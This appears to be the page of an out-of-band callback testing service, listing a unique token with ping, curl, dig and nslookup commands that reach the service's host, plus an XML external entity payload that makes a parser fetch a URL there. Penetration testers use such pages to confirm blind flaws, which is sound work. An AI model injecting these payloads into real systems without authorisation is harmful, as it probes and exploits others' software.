$ ping -c1 -p 00c068bbed12948e2e24545b2d999700 pingb.in
 
$ curl pingb.in/p/c068bbed12948e2e24545b2d9997
 
$ dig c068bbed12948e2e24545b2d9997 @pingb.in
 
$ dig c068bbed12948e2e24545b2d9997.ns.pingb.in
 
C:\> nslookup c068bbed12948e2e24545b2d9997 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/c068bbed12948e2e24545b2d9997">]>
    <foo>&xxe;</foo>
 
Waiting for ping...